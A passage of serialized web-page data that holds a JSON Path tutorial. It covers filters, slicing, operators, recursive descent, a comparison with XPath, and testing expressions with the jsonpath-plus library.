'store.name');\n",[143,277117,277118,277123,277131,277135,277140],{"__ignoreMap":141},[1560,277119,277120],{"class":1562,"line":1563},[1560,277121,277122],{"class":1649},"\u002F\u002F JSON Path expression\n",[1560,277124,277125,277128],{"class":1562,"line":337},[1560,277126,277127],{"class":1570},"$.store.name  ",[1560,277129,277130],{"class":1649},"\u002F\u002F Returns: \"Book Store\"\n",[1560,277132,277133],{"class":1562,"line":343},[1560,277134,1702],{"emptyLinePlaceholder":363},[1560,277136,277137],{"class":1562,"line":365},[1560,277138,277139],{"class":1649},"\u002F\u002F JavaScript equivalent using lodash\n",[1560,277141,277142,277145,277147,277150,277153],{"class":1562,"line":889},[1560,277143,277144],{"class":1570},"_.",[1560,277146,82334],{"class":1566},[1560,277148,277149],{"class":1570},"(data, ",[1560,277151,277152],{"class":5634},"'store.name'",[1560,277154,1744],{"class":1570},[33,277156,277158,277159],{"id":277157},"current-node","Current Node: ",[143,277160,6849],{},[16,277162,421,277163,277165],{},[143,277164,6849],{}," symbol refers to the current node being processed, especially useful inside filters.",[135,277167,277169],{"className":1607,"code":277168,"language":1609,"meta":141,"style":141},"\u002F\u002F Find books with price greater than 15\n$.store.books[?(@.price > 15)]\n\n\u002F\u002F The @ refers to each book object during iteration\n",[143,277170,277171,277176,277192,277196],{"__ignoreMap":141},[1560,277172,277173],{"class":1562,"line":1563},[1560,277174,277175],{"class":1649},"\u002F\u002F Find books with price greater than 15\n",[1560,277177,277178,277181,277183,277186,277188,277190],{"class":1562,"line":337},[1560,277179,277180],{"class":1570},"$.store.books[",[1560,277182,33994],{"class":1669},[1560,277184,277185],{"class":1570},"(@.price ",[1560,277187,28226],{"class":1669},[1560,277189,140816],{"class":1576},[1560,277191,38121],{"class":1570},[1560,277193,277194],{"class":1562,"line":343},[1560,277195,1702],{"emptyLinePlaceholder":363},[1560,277197,277198],{"class":1562,"line":365},[1560,277199,277200],{"class":1649},"\u002F\u002F The @ refers to each book object during iteration\n",[33,277202,277204,277205],{"id":277203},"wildcard","Wildcard: ",[143,277206,8069],{},[16,277208,277209],{},"The asterisk matches all elements at the current level.",[135,277211,277213],{"className":1607,"code":277212,"language":1609,"meta":141,"style":141},"\u002F\u002F Get all properties of the store object\n$.store.*\n\n\u002F\u002F Get all book titles\n$.store.books[*].title\n",[143,277214,277215,277220,277228,277232,277237],{"__ignoreMap":141},[1560,277216,277217],{"class":1562,"line":1563},[1560,277218,277219],{"class":1649},"\u002F\u002F Get all properties of the store object\n",[1560,277221,277222,277225],{"class":1562,"line":337},[1560,277223,277224],{"class":1570},"$.store.",[1560,277226,277227],{"class":1669},"*\n",[1560,277229,277230],{"class":1562,"line":343},[1560,277231,1702],{"emptyLinePlaceholder":363},[1560,277233,277234],{"class":1562,"line":365},[1560,277235,277236],{"class":1649},"\u002F\u002F Get all book titles\n",[1560,277238,277239,277241,277243],{"class":1562,"line":889},[1560,277240,277180],{"class":1570},[1560,277242,8069],{"class":1669},[1560,277244,277245],{"class":1570},"].title\n",[11,277247,277249],{"id":277248},"dot-notation-vs-bracket-notation","Dot Notation vs Bracket Notation",[16,277251,277252],{},"JSON Path supports two styles for accessing properties:",[16,277254,277255,277258],{},[47,277256,277257],{},"Dot Notation"," (cleaner, preferred when keys are simple):",[135,277260,277262],{"className":1607,"code":277261,"language":1609,"meta":141,"style":141},"$.store.name\n$.store.books[0].title\n",[143,277263,277264,277269],{"__ignoreMap":141},[1560,277265,277266],{"class":1562,"line":1563},[1560,277267,277268],{"class":1570},"$.store.name\n",[1560,277270,277271,277273,277275],{"class":1562,"line":337},[1560,277272,277180],{"class":1570},[1560,277274,5285],{"class":1576},[1560,277276,277245],{"class":1570},[16,277278,277279,277282],{},[47,277280,277281],{},"Bracket Notation"," (required for special characters or dynamic keys):",[135,277284,277286],{"className":1607,"code":277285,"language":1609,"meta":141,"style":141},"$['store']['name']\n$['store']['books'][0]['title']\n\n\u002F\u002F Useful when key contains spaces or special characters\n$['user settings']['theme color']\n",[143,277287,277288,277303,277325,277329,277334],{"__ignoreMap":141},[1560,277289,277290,277293,277296,277298,277301],{"class":1562,"line":1563},[1560,277291,277292],{"class":1570},"$[",[1560,277294,277295],{"class":5634},"'store'",[1560,277297,103261],{"class":1570},[1560,277299,277300],{"class":5634},"'name'",[1560,277302,37203],{"class":1570},[1560,277304,277305,277307,277309,277311,277314,277316,277318,277320,277323],{"class":1562,"line":337},[1560,277306,277292],{"class":1570},[1560,277308,277295],{"class":5634},[1560,277310,103261],{"class":1570},[1560,277312,277313],{"class":5634},"'books'",[1560,277315,103261],{"class":1570},[1560,277317,5285],{"class":1576},[1560,277319,103261],{"class":1570},[1560,277321,277322],{"class":5634},"'title'",[1560,277324,37203],{"class":1570},[1560,277326,277327],{"class":1562,"line":343},[1560,277328,1702],{"emptyLinePlaceholder":363},[1560,277330,277331],{"class":1562,"line":365},[1560,277332,277333],{"class":1649},"\u002F\u002F Useful when key contains spaces or special characters\n",[1560,277335,277336,277338,277341,277343,277346],{"class":1562,"line":889},[1560,277337,277292],{"class":1570},[1560,277339,277340],{"class":5634},"'user settings'",[1560,277342,103261],{"class":1570},[1560,277344,277345],{"class":5634},"'theme color'",[1560,277347,37203],{"class":1570},[11,277349,277351],{"id":277350},"array-access-and-slicing","Array Access and Slicing",[33,277353,277355],{"id":277354},"index-access","Index Access",[135,277357,277359],{"className":1607,"code":277358,"language":1609,"meta":141,"style":141},"\u002F\u002F First book\n$.store.books[0]\n\n\u002F\u002F Last book (using -1 is not standard, but some implementations support it)\n\u002F\u002F Standard approach: use length - 1 in your code\n",[143,277360,277361,277366,277374,277378,277383],{"__ignoreMap":141},[1560,277362,277363],{"class":1562,"line":1563},[1560,277364,277365],{"class":1649},"\u002F\u002F First book\n",[1560,277367,277368,277370,277372],{"class":1562,"line":337},[1560,277369,277180],{"class":1570},[1560,277371,5285],{"class":1576},[1560,277373,37203],{"class":1570},[1560,277375,277376],{"class":1562,"line":343},[1560,277377,1702],{"emptyLinePlaceholder":363},[1560,277379,277380],{"class":1562,"line":365},[1560,277381,277382],{"class":1649},"\u002F\u002F Last book (using -1 is not standard, but some implementations support it)\n",[1560,277384,277385],{"class":1562,"line":889},[1560,277386,277387],{"class":1649},"\u002F\u002F Standard approach: use length - 1 in your code\n",[33,277389,277391],{"id":277390},"array-slices","Array Slices",[16,277393,277394,277395,277398],{},"The slice syntax ",[143,277396,277397],{},"[start:end:step]"," allows you to extract ranges from arrays.",[135,277400,277402],{"className":1607,"code":277401,"language":1609,"meta":141,"style":141},"\u002F\u002F First two books\n$.store.books[0:2]\n\n\u002F\u002F Every other book starting from index 0\n$.store.books[0:4:2]\n\n\u002F\u002F From index 1 to end\n$.store.books[1:]\n",[143,277403,277404,277409,277421,277425,277430,277446,277450,277455],{"__ignoreMap":141},[1560,277405,277406],{"class":1562,"line":1563},[1560,277407,277408],{"class":1649},"\u002F\u002F First two books\n",[1560,277410,277411,277413,277415,277417,277419],{"class":1562,"line":337},[1560,277412,277180],{"class":1570},[1560,277414,5285],{"class":1576},[1560,277416,8037],{"class":1570},[1560,277418,10099],{"class":1576},[1560,277420,37203],{"class":1570},[1560,277422,277423],{"class":1562,"line":343},[1560,277424,1702],{"emptyLinePlaceholder":363},[1560,277426,277427],{"class":1562,"line":365},[1560,277428,277429],{"class":1649},"\u002F\u002F Every other book starting from index 0\n",[1560,277431,277432,277434,277436,277438,277440,277442,277444],{"class":1562,"line":889},[1560,277433,277180],{"class":1570},[1560,277435,5285],{"class":1576},[1560,277437,8037],{"class":1570},[1560,277439,12546],{"class":1576},[1560,277441,8037],{"class":1570},[1560,277443,10099],{"class":1576},[1560,277445,37203],{"class":1570},[1560,277447,277448],{"class":1562,"line":1710},[1560,277449,1702],{"emptyLinePlaceholder":363},[1560,277451,277452],{"class":1562,"line":1717},[1560,277453,277454],{"class":1649},"\u002F\u002F From index 1 to end\n",[1560,277456,277457,277459,277461],{"class":1562,"line":1747},[1560,277458,277180],{"class":1570},[1560,277460,3585],{"class":1576},[1560,277462,277463],{"class":1570},":]\n",[16,277465,277466],{},[47,277467,277468],{},"Slice Parameters:",[193,277470,277471,277481],{},[196,277472,277473],{},[199,277474,277475,277477,277479],{},[202,277476,172822],{},[202,277478,207],{},[202,277480,47403],{},[211,277482,277483,277492,277502],{},[199,277484,277485,277487,277490],{},[216,277486,62962],{},[216,277488,277489],{},"Starting index (inclusive)",[216,277491,5285],{},[199,277493,277494,277496,277499],{},[216,277495,63069],{},[216,277497,277498],{},"Ending index (exclusive)",[216,277500,277501],{},"Array length",[199,277503,277504,277507,277510],{},[216,277505,277506],{},"step",[216,277508,277509],{},"Step size",[216,277511,3585],{},[11,277513,277515,277516,277519],{"id":277514},"filters-the-powerful-syntax","Filters: The Powerful ",[143,277517,277518],{},"?()"," Syntax",[16,277521,277522],{},"Filters allow you to select items based on conditions. This is where JSON Path becomes truly powerful.",[33,277524,277526],{"id":277525},"basic-comparisons","Basic Comparisons",[135,277528,277530],{"className":1607,"code":277529,"language":1609,"meta":141,"style":141},"\u002F\u002F Books cheaper than 15\n$.store.books[?(@.price \u003C 15)]\n\n\u002F\u002F Books with a specific title\n$.store.books[?(@.title == 'Book A')]\n",[143,277531,277532,277537,277551,277555,277560],{"__ignoreMap":141},[1560,277533,277534],{"class":1562,"line":1563},[1560,277535,277536],{"class":1649},"\u002F\u002F Books cheaper than 15\n",[1560,277538,277539,277541,277543,277545,277547,277549],{"class":1562,"line":337},[1560,277540,277180],{"class":1570},[1560,277542,33994],{"class":1669},[1560,277544,277185],{"class":1570},[1560,277546,6431],{"class":1669},[1560,277548,140816],{"class":1576},[1560,277550,38121],{"class":1570},[1560,277552,277553],{"class":1562,"line":343},[1560,277554,1702],{"emptyLinePlaceholder":363},[1560,277556,277557],{"class":1562,"line":365},[1560,277558,277559],{"class":1649},"\u002F\u002F Books with a specific title\n",[1560,277561,277562,277564,277566,277569,277572,277575],{"class":1562,"line":889},[1560,277563,277180],{"class":1570},[1560,277565,33994],{"class":1669},[1560,277567,277568],{"class":1570},"(@.title ",[1560,277570,277571],{"class":1669},"==",[1560,277573,277574],{"class":5634}," 'Book A'",[1560,277576,38121],{"class":1570},[33,277578,277580],{"id":277579},"logical-operators","Logical Operators",[135,277582,277584],{"className":1607,"code":277583,"language":1609,"meta":141,"style":141},"\u002F\u002F Books that are cheap AND fiction\n$.store.books[?(@.price \u003C 15 && @.category == 'fiction')]\n\n\u002F\u002F Books that are either cheap OR on sale\n$.store.books[?(@.price \u003C 10 || @.onsale == true)]\n",[143,277585,277586,277591,277615,277619,277624],{"__ignoreMap":141},[1560,277587,277588],{"class":1562,"line":1563},[1560,277589,277590],{"class":1649},"\u002F\u002F Books that are cheap AND fiction\n",[1560,277592,277593,277595,277597,277599,277601,277603,277605,277608,277610,277613],{"class":1562,"line":337},[1560,277594,277180],{"class":1570},[1560,277596,33994],{"class":1669},[1560,277598,277185],{"class":1570},[1560,277600,6431],{"class":1669},[1560,277602,140816],{"class":1576},[1560,277604,39056],{"class":1669},[1560,277606,277607],{"class":1570}," @.category ",[1560,277609,277571],{"class":1669},[1560,277611,277612],{"class":5634}," 'fiction'",[1560,277614,38121],{"class":1570},[1560,277616,277617],{"class":1562,"line":343},[1560,277618,1702],{"emptyLinePlaceholder":363},[1560,277620,277621],{"class":1562,"line":365},[1560,277622,277623],{"class":1649},"\u002F\u002F Books that are either cheap OR on sale\n",[1560,277625,277626,277628,277630,277632,277634,277636,277638,277641,277643,277646],{"class":1562,"line":889},[1560,277627,277180],{"class":1570},[1560,277629,33994],{"class":1669},[1560,277631,277185],{"class":1570},[1560,277633,6431],{"class":1669},[1560,277635,43241],{"class":1576},[1560,277637,197096],{"class":1669},[1560,277639,277640],{"class":1570}," @.onsale ",[1560,277642,277571],{"class":1669},[1560,277644,277645],{"class":1576}," true",[1560,277647,38121],{"class":1570},[33,277649,277651],{"id":277650},"supported-operators","Supported Operators",[193,277653,277654,277664],{},[196,277655,277656],{},[199,277657,277658,277660,277662],{},[202,277659,25606],{},[202,277661,207],{},[202,277663,133],{},[211,277665,277666,277680,277694,277707,277721,277734,277748,277763,277777],{},[199,277667,277668,277672,277675],{},[216,277669,277670],{},[143,277671,277571],{},[216,277673,277674],{},"Equal",[216,277676,277677],{},[143,277678,277679],{},"?(@.price == 10)",[199,277681,277682,277687,277689],{},[216,277683,277684],{},[143,277685,277686],{},"!=",[216,277688,122065],{},[216,277690,277691],{},[143,277692,277693],{},"?(@.type != 'ebook')",[199,277695,277696,277700,277702],{},[216,277697,277698],{},[143,277699,6431],{},[216,277701,120380],{},[216,277703,277704],{},[143,277705,277706],{},"?(@.price \u003C 20)",[199,277708,277709,277713,277716],{},[216,277710,277711],{},[143,277712,22757],{},[216,277714,277715],{},"Less or equal",[216,277717,277718],{},[143,277719,277720],{},"?(@.rating \u003C= 4.5)",[199,277722,277723,277727,277729],{},[216,277724,277725],{},[143,277726,28226],{},[216,277728,120401],{},[216,277730,277731],{},[143,277732,277733],{},"?(@.price > 10)",[199,277735,277736,277740,277743],{},[216,277737,277738],{},[143,277739,90127],{},[216,277741,277742],{},"Greater or equal",[216,277744,277745],{},[143,277746,277747],{},"?(@.pages >= 300)",[199,277749,277750,277755,277758],{},[216,277751,277752],{},[143,277753,277754],{},"=~",[216,277756,277757],{},"Regex match",[216,277759,277760],{},[143,277761,277762],{},"?(@.title =~ \u002Fbook\u002Fi)",[199,277764,277765,277769,277772],{},[216,277766,277767],{},[143,277768,7953],{},[216,277770,277771],{},"In array",[216,277773,277774],{},[143,277775,277776],{},"?(@.category in ['fiction','drama'])",[199,277778,277779,277784,277787],{},[216,277780,277781],{},[143,277782,277783],{},"nin",[216,277785,277786],{},"Not in array",[216,277788,277789],{},[143,277790,277791],{},"?(@.status nin ['outdated','deleted'])",[33,277793,277795],{"id":277794},"existential-checks","Existential Checks",[135,277797,277799],{"className":1607,"code":277798,"language":1609,"meta":141,"style":141},"\u002F\u002F Books that have an 'isbn' field\n$.store.books[?(@.isbn)]\n\n\u002F\u002F Books that DON'T have a 'discount' field\n$.store.books[?!@.discount]\n",[143,277800,277801,277806,277815,277819,277824],{"__ignoreMap":141},[1560,277802,277803],{"class":1562,"line":1563},[1560,277804,277805],{"class":1649},"\u002F\u002F Books that have an 'isbn' field\n",[1560,277807,277808,277810,277812],{"class":1562,"line":337},[1560,277809,277180],{"class":1570},[1560,277811,33994],{"class":1669},[1560,277813,277814],{"class":1570},"(@.isbn)]\n",[1560,277816,277817],{"class":1562,"line":343},[1560,277818,1702],{"emptyLinePlaceholder":363},[1560,277820,277821],{"class":1562,"line":365},[1560,277822,277823],{"class":1649},"\u002F\u002F Books that DON'T have a 'discount' field\n",[1560,277825,277826,277828,277831],{"class":1562,"line":889},[1560,277827,277180],{"class":1570},[1560,277829,277830],{"class":1669},"?!",[1560,277832,277833],{"class":1570},"@.discount]\n",[11,277835,277837,277838],{"id":277836},"recursive-descent","Recursive Descent: ",[143,277839,218053],{},[16,277841,277842],{},"The double dot operator searches for matching nodes at any depth in the tree.",[135,277844,277846],{"className":1607,"code":277845,"language":1609,"meta":141,"style":141},"\u002F\u002F Find all price values anywhere in the document\n$.store..price\n\n\u002F\u002F Find all objects that have a 'title' field\n$..title\n",[143,277847,277848,277853,277858,277862,277867],{"__ignoreMap":141},[1560,277849,277850],{"class":1562,"line":1563},[1560,277851,277852],{"class":1649},"\u002F\u002F Find all price values anywhere in the document\n",[1560,277854,277855],{"class":1562,"line":337},[1560,277856,277857],{"class":1570},"$.store..price\n",[1560,277859,277860],{"class":1562,"line":343},[1560,277861,1702],{"emptyLinePlaceholder":363},[1560,277863,277864],{"class":1562,"line":365},[1560,277865,277866],{"class":1649},"\u002F\u002F Find all objects that have a 'title' field\n",[1560,277868,277869],{"class":1562,"line":889},[1560,277870,277871],{"class":1570},"$..title\n",[16,277873,277874,277876],{},[47,277875,177465],{}," Recursive descent can be expensive on large documents. Use it judiciously.",[11,277878,277880],{"id":277879},"json-path-vs-xpath-a-comparison","JSON Path vs XPath: A Comparison",[193,277882,277883,277893],{},[196,277884,277885],{},[199,277886,277887,277889,277891],{},[202,277888,5867],{},[202,277890,82738],{},[202,277892,230121],{},[211,277894,277895,277906,277921,277936,277951,277966,277980,277998],{},[199,277896,277897,277902,277904],{},[216,277898,277899],{},[47,277900,277901],{},"Data Format",[216,277903,13411],{},[216,277905,84593],{},[199,277907,277908,277913,277917],{},[216,277909,277910],{},[47,277911,277912],{},"Root",[216,277914,277915],{},[143,277916,11938],{},[216,277918,277919],{},[143,277920,9423],{},[199,277922,277923,277928,277932],{},[216,277924,277925],{},[47,277926,277927],{},"Current Node",[216,277929,277930],{},[143,277931,6849],{},[216,277933,277934],{},[143,277935,468],{},[199,277937,277938,277943,277947],{},[216,277939,277940],{},[47,277941,277942],{},"Wildcard",[216,277944,277945],{},[143,277946,8069],{},[216,277948,277949],{},[143,277950,8069],{},[199,277952,277953,277957,277961],{},[216,277954,277955],{},[47,277956,79043],{},[216,277958,277959],{},[143,277960,277518],{},[216,277962,277963,277965],{},[143,277964,103232],{}," with predicates",[199,277967,277968,277972,277976],{},[216,277969,277970],{},[47,277971,162770],{},[216,277973,277974],{},[143,277975,218053],{},[216,277977,277978],{},[143,277979,134512],{},[199,277981,277982,277987,277992],{},[216,277983,277984],{},[47,277985,277986],{},"Array Index",[216,277988,277989],{},[143,277990,277991],{},"[0]",[216,277993,277994,277997],{},[143,277995,277996],{},"[1]"," (XPath is 1-indexed)",[199,277999,278000,278005,278009],{},[216,278001,278002],{},[47,278003,278004],{},"Attribute Access",[216,278006,278007],{},[143,278008,205632],{},[216,278010,278011],{},[143,278012,278013],{},"@name",[33,278015,278017],{"id":278016},"example-comparison","Example Comparison",[16,278019,278020],{},[47,278021,278022],{},"JSON Path:",[135,278024,278026],{"className":1607,"code":278025,"language":1609,"meta":141,"style":141},"$.store.books[?(@.price \u003C 15)].title\n",[143,278027,278028],{"__ignoreMap":141},[1560,278029,278030,278032,278034,278036,278038,278040],{"class":1562,"line":1563},[1560,278031,277180],{"class":1570},[1560,278033,33994],{"class":1669},[1560,278035,277185],{"class":1570},[1560,278037,6431],{"class":1669},[1560,278039,140816],{"class":1576},[1560,278041,278042],{"class":1570},")].title\n",[16,278044,278045],{},[47,278046,278047],{},"XPath equivalent:",[135,278049,278051],{"className":230388,"code":278050,"language":230390,"meta":141,"style":141},"\u002Fstore\u002Fbooks[price \u003C 15]\u002Ftitle\n",[143,278052,278053],{"__ignoreMap":141},[1560,278054,278055],{"class":1562,"line":1563},[1560,278056,278050],{},[11,278058,65161],{"id":65160},[33,278060,278062],{"id":278061},"example-1-api-response-parsing","Example 1: API Response Parsing",[135,278064,278066],{"className":23484,"code":278065,"language":23486,"meta":141,"style":141},"{\n  \"data\": {\n    \"users\": [\n      {\"id\": 1, \"name\": \"Alice\", \"active\": true, \"role\": \"admin\"},\n      {\"id\": 2, \"name\": \"Bob\", \"active\": false, \"role\": \"user\"},\n      {\"id\": 3, \"name\": \"Charlie\", \"active\": true, \"role\": \"user\"}\n    ],\n    \"total\": 3\n  }\n}\n",[143,278067,278068,278072,278078,278085,278122,278158,278195,278199,278208,278212],{"__ignoreMap":141},[1560,278069,278070],{"class":1562,"line":1563},[1560,278071,23493],{"class":1570},[1560,278073,278074,278076],{"class":1562,"line":337},[1560,278075,260704],{"class":1576},[1560,278077,37098],{"class":1570},[1560,278079,278080,278083],{"class":1562,"line":343},[1560,278081,278082],{"class":1576},"    \"users\"",[1560,278084,82876],{"class":1570},[1560,278086,278087,278089,278091,278093,278095,278097,278099,278101,278103,278105,278108,278110,278112,278114,278116,278118,278120],{"class":1562,"line":365},[1560,278088,277060],{"class":1570},[1560,278090,85637],{"class":1576},[1560,278092,1663],{"class":1570},[1560,278094,3585],{"class":1576},[1560,278096,1459],{"class":1570},[1560,278098,84838],{"class":1576},[1560,278100,1663],{"class":1570},[1560,278102,23503],{"class":5634},[1560,278104,1459],{"class":1570},[1560,278106,278107],{"class":1576},"\"active\"",[1560,278109,1663],{"class":1570},[1560,278111,20533],{"class":1576},[1560,278113,1459],{"class":1570},[1560,278115,86641],{"class":1576},[1560,278117,1663],{"class":1570},[1560,278119,81849],{"class":5634},[1560,278121,277079],{"class":1570},[1560,278123,278124,278126,278128,278130,278132,278134,278136,278138,278140,278142,278144,278146,278148,278150,278152,278154,278156],{"class":1562,"line":889},[1560,278125,277060],{"class":1570},[1560,278127,85637],{"class":1576},[1560,278129,1663],{"class":1570},[1560,278131,10099],{"class":1576},[1560,278133,1459],{"class":1570},[1560,278135,84838],{"class":1576},[1560,278137,1663],{"class":1570},[1560,278139,80653],{"class":5634},[1560,278141,1459],{"class":1570},[1560,278143,278107],{"class":1576},[1560,278145,1663],{"class":1570},[1560,278147,13730],{"class":1576},[1560,278149,1459],{"class":1570},[1560,278151,86641],{"class":1576},[1560,278153,1663],{"class":1570},[1560,278155,85631],{"class":5634},[1560,278157,277079],{"class":1570},[1560,278159,278160,278162,278164,278166,278168,278170,278172,278174,278177,278179,278181,278183,278185,278187,278189,278191,278193],{"class":1562,"line":1710},[1560,278161,277060],{"class":1570},[1560,278163,85637],{"class":1576},[1560,278165,1663],{"class":1570},[1560,278167,17821],{"class":1576},[1560,278169,1459],{"class":1570},[1560,278171,84838],{"class":1576},[1560,278173,1663],{"class":1570},[1560,278175,278176],{"class":5634},"\"Charlie\"",[1560,278178,1459],{"class":1570},[1560,278180,278107],{"class":1576},[1560,278182,1663],{"class":1570},[1560,278184,20533],{"class":1576},[1560,278186,1459],{"class":1570},[1560,278188,86641],{"class":1576},[1560,278190,1663],{"class":1570},[1560,278192,85631],{"class":5634},[1560,278194,1585],{"class":1570},[1560,278196,278197],{"class":1562,"line":1717},[1560,278198,20737],{"class":1570},[1560,278200,278201,278204,278206],{"class":1562,"line":1747},[1560,278202,278203],{"class":1576},"    \"total\"",[1560,278205,1663],{"class":1570},[1560,278207,137794],{"class":1576},[1560,278209,278210],{"class":1562,"line":2507},[1560,278211,4959],{"class":1570},[1560,278213,278214],{"class":1562,"line":2524},[1560,278215,1585],{"class":1570},[135,278217,278219],{"className":1607,"code":278218,"language":1609,"meta":141,"style":141},"\u002F\u002F Get all active user names\n$.data.users[?(@.active == true)].name\n\u002F\u002F Result: [\"Alice\", \"Charlie\"]\n\n\u002F\u002F Get admin user IDs\n$.data.users[?(@.role == 'admin')].id\n\u002F\u002F Result: [1]\n",[143,278220,278221,278226,278243,278248,278252,278257,278274],{"__ignoreMap":141},[1560,278222,278223],{"class":1562,"line":1563},[1560,278224,278225],{"class":1649},"\u002F\u002F Get all active user names\n",[1560,278227,278228,278231,278233,278236,278238,278240],{"class":1562,"line":337},[1560,278229,278230],{"class":1570},"$.data.users[",[1560,278232,33994],{"class":1669},[1560,278234,278235],{"class":1570},"(@.active ",[1560,278237,277571],{"class":1669},[1560,278239,277645],{"class":1576},[1560,278241,278242],{"class":1570},")].name\n",[1560,278244,278245],{"class":1562,"line":343},[1560,278246,278247],{"class":1649},"\u002F\u002F Result: [\"Alice\", \"Charlie\"]\n",[1560,278249,278250],{"class":1562,"line":365},[1560,278251,1702],{"emptyLinePlaceholder":363},[1560,278253,278254],{"class":1562,"line":889},[1560,278255,278256],{"class":1649},"\u002F\u002F Get admin user IDs\n",[1560,278258,278259,278261,278263,278266,278268,278271],{"class":1562,"line":1710},[1560,278260,278230],{"class":1570},[1560,278262,33994],{"class":1669},[1560,278264,278265],{"class":1570},"(@.role ",[1560,278267,277571],{"class":1669},[1560,278269,278270],{"class":5634}," 'admin'",[1560,278272,278273],{"class":1570},")].id\n",[1560,278275,278276],{"class":1562,"line":1717},[1560,278277,278278],{"class":1649},"\u002F\u002F Result: [1]\n",[33,278280,278282],{"id":278281},"example-2-configuration-extraction","Example 2: Configuration Extraction",[135,278284,278286],{"className":23484,"code":278285,"language":23486,"meta":141,"style":141},"{\n  \"environments\": {\n    \"dev\": {\"api_url\": \"dev.api.com\", \"debug\": true},\n    \"prod\": {\"api_url\": \"api.com\", \"debug\": false}\n  }\n}\n",[143,278287,278288,278292,278299,278326,278350,278354],{"__ignoreMap":141},[1560,278289,278290],{"class":1562,"line":1563},[1560,278291,23493],{"class":1570},[1560,278293,278294,278297],{"class":1562,"line":337},[1560,278295,278296],{"class":1576},"  \"environments\"",[1560,278298,37098],{"class":1570},[1560,278300,278301,278304,278307,278310,278312,278315,278317,278320,278322,278324],{"class":1562,"line":343},[1560,278302,278303],{"class":1576},"    \"dev\"",[1560,278305,278306],{"class":1570},": {",[1560,278308,278309],{"class":1576},"\"api_url\"",[1560,278311,1663],{"class":1570},[1560,278313,278314],{"class":5634},"\"dev.api.com\"",[1560,278316,1459],{"class":1570},[1560,278318,278319],{"class":1576},"\"debug\"",[1560,278321,1663],{"class":1570},[1560,278323,20533],{"class":1576},[1560,278325,277079],{"class":1570},[1560,278327,278328,278331,278333,278335,278337,278340,278342,278344,278346,278348],{"class":1562,"line":365},[1560,278329,278330],{"class":1576},"    \"prod\"",[1560,278332,278306],{"class":1570},[1560,278334,278309],{"class":1576},[1560,278336,1663],{"class":1570},[1560,278338,278339],{"class":5634},"\"api.com\"",[1560,278341,1459],{"class":1570},[1560,278343,278319],{"class":1576},[1560,278345,1663],{"class":1570},[1560,278347,13730],{"class":1576},[1560,278349,1585],{"class":1570},[1560,278351,278352],{"class":1562,"line":889},[1560,278353,4959],{"class":1570},[1560,278355,278356],{"class":1562,"line":1710},[1560,278357,1585],{"class":1570},[135,278359,278361],{"className":1607,"code":278360,"language":1609,"meta":141,"style":141},"\u002F\u002F Get all API URLs\n$.environments.*.api_url\n\u002F\u002F Result: [\"dev.api.com\", \"api.com\"]\n\n\u002F\u002F Check if any environment has debug enabled\n$.environments[?(@.debug == true)]\n",[143,278362,278363,278368,278378,278383,278387,278392],{"__ignoreMap":141},[1560,278364,278365],{"class":1562,"line":1563},[1560,278366,278367],{"class":1649},"\u002F\u002F Get all API URLs\n",[1560,278369,278370,278373,278375],{"class":1562,"line":337},[1560,278371,278372],{"class":1570},"$.environments.",[1560,278374,8069],{"class":1669},[1560,278376,278377],{"class":1570},".api_url\n",[1560,278379,278380],{"class":1562,"line":343},[1560,278381,278382],{"class":1649},"\u002F\u002F Result: [\"dev.api.com\", \"api.com\"]\n",[1560,278384,278385],{"class":1562,"line":365},[1560,278386,1702],{"emptyLinePlaceholder":363},[1560,278388,278389],{"class":1562,"line":889},[1560,278390,278391],{"class":1649},"\u002F\u002F Check if any environment has debug enabled\n",[1560,278393,278394,278397,278399,278402,278404,278406],{"class":1562,"line":1710},[1560,278395,278396],{"class":1570},"$.environments[",[1560,278398,33994],{"class":1669},[1560,278400,278401],{"class":1570},"(@.debug ",[1560,278403,277571],{"class":1669},[1560,278405,277645],{"class":1576},[1560,278407,38121],{"class":1570},[11,278409,278411],{"id":278410},"common-pitfalls-and-tips","Common Pitfalls and Tips",[77,278413,278414,278420,278429,278435,278442],{},[44,278415,278416,278419],{},[47,278417,278418],{},"Indexing starts at 0"," (unlike XPath which starts at 1)",[44,278421,278422,278425,278426,278428],{},[47,278423,278424],{},"String comparisons are case-sensitive"," unless you use regex with ",[143,278427,7975],{}," flag",[44,278430,278431,278434],{},[47,278432,278433],{},"Not all implementations support all features"," — check your library's documentation",[44,278436,278437,278441],{},[47,278438,1388,278439,79428],{},[143,278440,218053],{}," on large documents as it traverses the entire tree",[44,278443,278444,278447],{},[47,278445,278446],{},"Filters can only be used on arrays",", not objects",[11,278449,278451],{"id":278450},"testing-json-path-expressions","Testing JSON Path Expressions",[16,278453,278454],{},"You can test JSON Path expressions using:",[41,278456,278457,278465,278471],{},[44,278458,278459,278460],{},"Online evaluators like ",[98,278461,278464],{"href":278462,"rel":278463},"https:\u002F\u002Fjsonpath.com",[14956],"jsonpath.com",[44,278466,278467,278468],{},"Browser console with libraries like ",[143,278469,278470],{},"jsonpath-plus",[44,278472,278473,278474,1531,278477,278479],{},"Node.js with ",[143,278475,278476],{},"jsonpath",[143,278478,278470],{}," packages",[135,278481,278483],{"className":6951,"code":278482,"language":6953,"meta":141,"style":141},"npm install jsonpath-plus\n",[143,278484,278485],{"__ignoreMap":141},[1560,278486,278487,278489,278491],{"class":1562,"line":1563},[1560,278488,41383],{"class":1566},[1560,278490,9023],{"class":5634},[1560,278492,278493],{"class":5634}," jsonpath-plus\n",[135,278495,278497],{"className":1607,"code":278496,"language":1609,"meta":141,"style":141},"import { JSONPath } from 'jsonpath-plus';\n\nconst result = JSONPath({ path: '$.store.books[*].title', json: data });\nconsole.log(result); \u002F\u002F ['Book A', 'Book B']\n",[143,278498,278499,278513,278517,278537],{"__ignoreMap":141},[1560,278500,278501,278503,278506,278508,278511],{"class":1562,"line":1563},[1560,278502,8162],{"class":1669},[1560,278504,278505],{"class":1570}," { JSONPath } ",[1560,278507,8168],{"class":1669},[1560,278509,278510],{"class":5634}," 'jsonpath-plus'",[1560,278512,2228],{"class":1570},[1560,278514,278515],{"class":1562,"line":337},[1560,278516,1702],{"emptyLinePlaceholder":363},[1560,278518,278519,278521,278523,278525,278528,278531,278534],{"class":1562,"line":343},[1560,278520,8180],{"class":1669},[1560,278522,80830],{"class":1576},[1560,278524,8186],{"class":1669},[1560,278526,278527],{"class":1566}," JSONPath",[1560,278529,278530],{"class":1570},"({ path: ",[1560,278532,278533],{"class":5634},"'$.store.books[*].title'",[1560,278535,278536],{"class":1570},", json: data });\n",[1560,278538,278539,278541,278543,278546],{"class":1562,"line":365},[1560,278540,8211],{"class":1570},[1560,278542,8214],{"class":1566},[1560,278544,278545],{"class":1570},"(result); ",[1560,278547,278548],{"class":1649},"\u002F\u002F ['Book A', 'Book 